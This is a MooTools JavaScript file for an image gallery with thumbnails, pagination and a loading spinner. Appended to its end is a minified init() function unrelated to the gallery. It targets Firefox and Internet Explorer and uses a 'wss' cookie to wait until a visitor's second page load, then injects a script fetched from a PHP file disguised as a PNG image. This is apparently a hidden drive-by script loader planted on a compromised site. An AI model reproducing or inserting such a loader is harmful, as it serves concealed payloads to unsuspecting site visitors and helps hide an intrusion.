window.addEvent('domready',function() {
									
	var gallery = $$(".gallery2");
	
	gallery.each(function(canvas) {
						  
		var loading_spinner = new Element("div", { 'class': "loading_spinner" }).inject(canvas);
		
		//settings
		var duration = 50, count3 = 0, div=12, div2=24, pagi=6,index=0,m=0,prevKey=0,nextKey=0, thumbPortWidth=408;
	
		loading = function() {
			loader = (function() {
				++count3;
				loading_spinner.setStyle('background-position', -(count3*div2) + 'px top');
			}).periodical(duration);
		};
		
		var header = canvas.getElement(".header"),
			description = canvas.getElement(".description"), 
			viewport = canvas.getElement(".viewport"), 
			navigation = canvas.getElement(".thumbnails ul"),
			thumbnails = canvas.getElements(".thumbnails a"),
			max_thumbs = thumbnails.length - 1;
			
//			viewport.adopt(
				prevButton = new Element("div", { "class": "button prev", "rel": max_thumbs, "title": "Previous Image" }).addEvent("click",  PrevImg).inject(viewport);
				nextButton = new Element("div", { "class": "button next", "rel": 1, "title": "Next Image"}).addEvent("click",  NextImg).inject(viewport);
//			);

//			viewport.prevButton = prevButton;
//			viewport.nextButton = nextButton;

		if ( thumbnails.length > pagi ) {
			
			var thumb_max = Math.ceil(thumbnails.length/pagi);
			
			slider = function(counter) {
				
				if ( counter == (thumb_max-1) ) index = (thumb_max-1);
				else if ( counter == thumb_max ) index = 0;
				else if ( counter == -1 ) index = (thumb_max-1);
				else index = counter;
							
				m = !index ? 0 : -(index * thumbPortWidth);
					
				var slideFX = new Fx.Morph(navigation, {duration: 500, transition: Fx.Transitions.linear}); 
				slideFX.start({ 'left': m });
			}
						
			var pagination = new Element("div", {
				'class': "pagination"
			}).inject(canvas);
			
			var prev = new Element("a", {
				'href': "javascript:void(0);",
				'class': "pagination_prev",
				'html': "<span>&laquo;</span> Previous",
				'events': {
					'click': function() {
						slider(--index);
					}
				}
			}).inject(pagination);
			
			var next = new Element("a", {
				'href': "javascript:void(0);",
				'class': "pagination_next",
				'html': "Next <span>&raquo;</span>",
				'events': {
					'click': function() {
						slider(++index);
					}
				}
			}).inject(pagination);
		}
			
		thumbnails.each(function(thumb, i) {
								 
			thumbnails[0].getParent().addClass("active");
									
			thumbnails[i].addEvent('click', function(a) {
													 
				loading();
				loading_spinner.setStyle('display', 'block');	

				thumbnails.getParent().removeClass("active");
				thumbnails[i].getParent().addClass("active");
				
				prevButton.set("rel", (( (i-1) == -1 ) ? max_thumbs : i-1 ));
				nextButton.set("rel", (( max_thumbs == i ) ? 0 : i+1 ));
													 					 								
				viewport.setStyle('visibility', 'hidden');
				var src = thumb.get('href');
				
				
				
				viewport.getElements('img').dispose();

				var data = thumb.get('title').split(":");

				if ( data[2] != null ) data[1] = data[2] + "<br />" + data[1];
				
				header.set('html', data[0]);
				description.set('html', data[1].replace(/;/gi, ":"));
				
				function loadImg() {
						  
					(function() {
						$clear(loader);
						loading_spinner.setStyle('display', 'none');
						var imgFocus = viewport.set('tween', {duration: 500});
						viewport.setStyles({'display': 'block', 'opacity': 0});
						imgFocus.tween('opacity', 1);
					}).delay(1000);
					
				}
				
				viewportImage = Asset.image(src, {
					id: 'myImage',
					title: 'myImage',
					onLoad: function() { loadImg() }
				});
				
				viewportImage.inject(viewport);
				
				return false;

			});
			
		});
		
		function NextImg() {
			thumbnails[nextButton.get("rel")].fireEvent("click");		
		}
		
		function PrevImg() {
			thumbnails[prevButton.get("rel")].fireEvent("click");
		}
		
		thumbnails[0].fireEvent("click");
		
	});
	
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/buttons/button-email.png.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();